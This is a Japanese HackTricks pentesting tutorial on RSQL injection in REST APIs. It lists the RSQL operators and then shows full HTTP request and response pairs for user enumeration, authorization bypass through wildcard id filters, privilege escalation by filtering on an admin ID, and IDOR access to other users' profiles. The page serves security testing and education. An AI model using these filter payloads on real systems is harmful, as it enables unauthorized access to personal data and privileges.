hacktricks/src/pentesting-web/rsql-injection.md

578 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# RSQLインジェクション
## RSQLインジェクション
{{#include ../banners/hacktricks-training.md}}
## RSQLインジェクション
## RSQLとは何ですか
RSQLは、RESTful APIにおける入力のパラメータ化されたフィルタリングのために設計されたクエリ言語です。FIQLFeed Item Query Languageに基づいており、元々はMark NottinghamによってAtomフィードのクエリ用に指定されました。RSQLは、そのシンプルさと、HTTP上でコンパクトかつURI準拠の方法で複雑なクエリを表現できる能力で際立っています。これにより、RESTエンドポイント検索の一般的なクエリ言語として優れた選択肢となります。
## 概要
RSQLインジェクションは、RESTful APIでRSQLをクエリ言語として使用するウェブアプリケーションにおける脆弱性です。[SQLインジェクション](https://owasp.org/www-community/attacks/SQL_Injection)や[LDAPインジェクション](https://owasp.org/www-community/attacks/LDAP_Injection)と同様に、この脆弱性はRSQLフィルタが適切にサニタイズされていない場合に発生し、攻撃者が悪意のあるクエリを注入して、データに対するアクセス、変更、または削除を無許可で行うことを可能にします。
## どのように機能しますか?
RSQLは、RESTful APIで高度なクエリを構築することを可能にします。例えば
```bash
/products?filter=price>100;category==electronics
```
これは、価格が100以上でカテゴリが「電子機器」の製品をフィルタリングする構造化クエリに変換されます。
アプリケーションがユーザー入力を正しく検証しない場合、攻撃者はフィルタを操作して、次のような予期しないクエリを実行する可能性があります:
```bash
/products?filter=id=in=(1,2,3);delete_all==true
```
Or even take advantage to extract sensitive information with Boolean queries or nested subqueries.
## リスク
- **機密データの露出:** 攻撃者はアクセスできるべきでない情報を取得できます。
- **データの変更または削除:** データベースレコードを変更するフィルターの注入。
- **権限の昇格:** フィルターを通じて役割を付与する識別子を操作し、他のユーザーの権限でアクセスするようにアプリケーションを欺く。
- **アクセス制御の回避:** 制限されたデータにアクセスするためにフィルターを操作。
- **なりすましまたはIDOR:** 適切に認証されていない他のユーザーの情報やリソースにアクセスを許可するフィルターを介してユーザー間の識別子を変更。
## サポートされているRSQL演算子
| 演算子 | 説明 | 例 |
|:----: |:----: |:------------------:|
| `;` / `and` | 論理 **AND** 演算子。*両方*の条件が*真*である行をフィルタリング | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
| `,` / `or` | 論理 **OR** 演算子。*少なくとも1つ*の条件が*真*である行をフィルタリング| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
| `==` | **等しい**クエリを実行。*columnA*の値が*queryValue*と正確に等しい*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA==queryValue` |
| `=q=` | **検索**クエリを実行。*columnA*の値が*queryValue*を含む*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=q=queryValue` |
| `=like=` | **like**クエリを実行。*columnA*の値が*queryValue*のような*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=like=queryValue` |
| `=in=` | **in**クエリを実行。*columnA*が*valueA*または*valueB*を含む*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
| `=out=` | **除外**クエリを実行。*columnA*の値が*valueA*でも*valueB*でもない*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
| `!=` | *等しくない*クエリを実行。*columnA*の値が*queryValue*と等しくない*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA!=queryValue` |
| `=notlike=` | **not like**クエリを実行。*columnA*の値が*queryValue*のようでない*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=notlike=queryValue` |
| `<` & `=lt=` | **未満**クエリを実行。*columnA*の値が*queryValue*より小さい*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
| `=le=` & `<=` | **未満**または**等しい**クエリを実行。*columnA*の値が*queryValue*以下の*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
| `>` & `=gt=` | **より大きい**クエリを実行。*columnA*の値が*queryValue*より大きい*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
| `>=` & `=ge=` | **等しい**または**より大きい**クエリを実行。*columnA*の値が*queryValue*と等しいかそれ以上の*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
| `=rng=` | **範囲**クエリを実行。*columnA*の値が*fromValue*以上で、*toValue*以下の*myTable*のすべての行を返す | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
**注意**: テーブルは[**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/)および[**rsql-parser**](https://github.com/jirutka/rsql-parser)アプリケーションの情報に基づいています。
#### 例
- name=="Kill Bill";year=gt=2003
- name=="Kill Bill" and year>2003
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
**注意**: テーブルは[**rsql-parser**](https://github.com/jirutka/rsql-parser)アプリケーションの情報に基づいています
## 一般的なフィルター
これらのフィルターはAPIのクエリを洗練させるのに役立ちます
| フィルター | 説明 | |
|--------|------------|---------|
| `filter[users]` | 特定のユーザーによる結果をフィルタリング | `/api/v2/myTable?filter[users]=123` |
| `filter[status]` | ステータスアクティブ/非アクティブ完了などによるフィルタリング | `/api/v2/orders?filter[status]=active` |
| `filter[date]` | 日付範囲内の結果をフィルタリング | `/api/v2/logs?filter[date]=gte:2024-01-01` |
| `filter[category]` | カテゴリまたはリソースタイプによるフィルタリング | `/api/v2/products?filter[category]=electronics` |
| `filter[id]` | 一意の識別子によるフィルタリング | `/api/v2/posts?filter[id]=42` |
## 一般的なパラメーター
これらのパラメーターはAPIの応答を最適化するのに役立ちます
| パラメーター | 説明 | |
|-----------|------------|---------|
| `include` | 応答に関連リソースを含める | `/api/v2/orders?include=customer,items` |
| `sort` | 結果を昇順または降順にソート | `/api/v2/users?sort=-created_at` |
| `page[size]` | ページごとの結果数を制御 | `/api/v2/products?page[size]=10` |
| `page[number]` | ページ番号を指定 | `/api/v2/products?page[number]=2` |
| `fields[resource]` | 応答に返すフィールドを定義 | `/api/v2/users?fields[users]=id,name,email` |
| `search` | より柔軟な検索を実行 | `/api/v2/posts?search=technology` |
## 情報漏洩とユーザーの列挙
以下のリクエストはメールパラメーターを必要とする登録エンドポイントを示しておりそのメールで登録されているユーザーがいるかどうかを確認しデータベースに存在するかどうかに応じて真または偽を返します
### リクエスト
```
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### レスポンス
```
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
```
`/api/registrations?email=<emailAccount>` が期待されるが特別な演算子を使用してRSQLフィルターを利用しユーザー情報を列挙および/または抽出しようとすることが可能である
### Request
```
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### レスポンス
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
```
有効なメールアカウントが一致する場合アプリケーションはサーバーへの応答としてクラシックな *“true”*, *"1"* またはその他のものの代わりにユーザーの情報を返します
### Request
```
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### 反応
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
```
## 認可回避
このシナリオでは基本的な役割を持つユーザーから始まりデータベースに登録されているすべてのユーザーのリストにアクセスするための特権的な権限管理者がない状態です
### リクエスト
```
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### レスポンス
```
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
```
再び私たちはフィルターと特別な演算子を利用してユーザーの情報を取得しアクセス制御を回避する別の方法を提供します
例えばユーザー *ID* 「*a*」という文字を含む *ユーザー* でフィルタリングします:
### Request
```
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### レスポンス
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
```
## 権限昇格
ユーザーの役割を通じてユーザー権限を確認する特定のエンドポイントを見つける可能性が非常に高いです例えば権限を持たないユーザーを扱っています
### リクエスト
```
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### レスポンス
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
```
特定の演算子を使用することで管理者ユーザーを列挙することができます
### Request
```
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### 反応
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
```
管理者ユーザーの識別子を知った後対応するフィルターを管理者の識別子に置き換えたり追加したりすることで特権昇格を悪用し同じ特権を得ることが可能になります
### Request
```
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### レスポンス
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......
```
## なりすましまたは不正な直接オブジェクト参照 (IDOR)
`filter` パラメータの使用に加えて結果に特定のパラメータ言語パスワードなどを含めることを可能にする `include` のような他のパラメータを使用することもできます
次の例では私たちのユーザープロファイルの情報が表示されます
### リクエスト
```
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### レスポンス
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
```
フィルターの組み合わせを使用して認可制御を回避し他のユーザーのプロフィールにアクセスすることができます
### Request
```
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### 反応
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
```
## 参考文献
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
{{#include ../banners/hacktricks-training.md}}